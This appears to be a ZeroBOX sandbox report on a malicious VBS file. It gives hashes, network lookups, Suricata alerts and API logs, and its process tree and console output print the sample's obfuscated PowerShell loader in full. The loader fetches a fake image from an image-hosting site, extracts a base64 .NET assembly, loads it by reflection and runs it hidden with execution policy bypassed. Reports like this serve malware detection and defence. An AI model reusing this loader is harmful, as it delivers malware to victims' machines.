popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

htmlbrowserhistorycleanbothfile.vbs

Generic Malware Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 16, 2023, 3:52 p.m. Nov. 16, 2023, 3:56 p.m.
Size 135.7KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 819445270fd095cf54c6768d1e380e1b
SHA256 ddb4ba6968d5341c1fb34a5eeb90a03cfdc202c126e8d53593d74735e8776ec7
CRC32 E7A0185A
ssdeep 3072:i00JVXfVEdw+D+D+D+D+D+g+D+D+D+D+D+s+D+D+D+D+D+M+D+D+D+D+D+r+D+Dw:2ZB+D+D+D+D+D+g+D+D+D+D+D+s+D+Dl
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\htmlbrowserhistorycleanbothfile.vbs

    2580

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2732

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-eXPreSSioN ( (('zLpimage'+'Url = hiEhttps:/'+'/uploaddeimagens.com.br/images/004/654/536/original/new_image.'+'jpg?1698957750hiE;zLpwebClient = New'+'-Object System.Net.WebClient'+';'+'zLpimageBytes = zLpwebClient.DownloadData(zLpimageUrl);zLpimageText = [System.Text.Encoding]::UTF8.GetString('+'zLpimageBytes);zLpst'+'artFlag = hiE'+'<<BAS'+'E64_START>>hiE;zLpendFl'+'ag = hiE<<BASE64_END>>hiE;zLpstartIndex'+' = zLpimageText.IndexOf(zLpstartFlag);zL'+'pendIndex = zLpimageText.IndexOf'+'(zLpendFlag);zLpstartIndex -ge 0 -and zLpendIndex -gt zLpstartIndex;zLp'+'startIndex += zL'+'pstartFlag.Length;zLpbase64Length = zLpendIndex - zL'+'pstartIndex;zLpbase64Comma'+'nd = zLpimageText.Substring(zL'+'pstartIndex, zLpbase64'+'Length);zLpcom'+'mandB'+'ytes'+' = [System.Con'+'vert]::FromBase64String(zLpbase64'+'Command);zLploadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(zLpcommandBytes);zLptype = zLploadedAssembly.'+'GetType(hiEFiber.HomehiE);zLpmethod = zLptype.Ge'+'tMethod(hiEVAIhiE).Invoke(zLpnull, [object[]] (hiEdHh0LkFNS'+'C8wMDUvNjkxLjUyMi43MjEuODgxLy86cHR0aA==hiE , hiEhiE , hiE2hiE , '+'hiEregasmhiE , hiE5hiE , hiEC:SbCProgramDataSbC'+'hiE, '+'hiEhtmlbhiE))') -cREpLACe 'zLp',[CHAR]36 -RepLACe([CHAR]104+[CHAR]105+[CHAR]69),[CHAR]39 -RepLACe 'SbC',[CHAR]92))"

        2836

Name Response Post-Analysis Lookup
apps.identrust.com
A 61.111.58.35
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 61.111.58.34
23.67.53.17
paste.ee
A 172.67.187.200
A 104.21.84.67
104.21.84.67
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
104.21.45.138
IP Address Status Action
104.21.45.138 Active Moloch
164.124.101.2 Active Moloch
172.67.187.200 Active Moloch
61.111.58.34 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49161 -> 172.67.187.200:443 2034978 ET POLICY Pastebin-style Service (paste .ee) in TLS SNI Potential Corporate Privacy Violation
TCP 192.168.56.101:49161 -> 172.67.187.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49166 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49161
172.67.187.200:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=paste.ee 75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d
TLSv1
192.168.56.101:49166
104.21.45.138:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:181
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LkFNSC8wMDUvNjkxLjUyMi43M
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: jEuODgxLy86cHR0aA==' , '' , '2' , 'regasm' , '5' , 'C:\ProgramData\', 'htmlb'))
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:244
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: etString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LkFNSC8wMDUvNjkxLjUyMi43M
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: jEuODgxLy86cHR0aA==' , '' , '2' , 'regasm' , '5' , 'C:\ProgramData\', 'htmlb'))
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

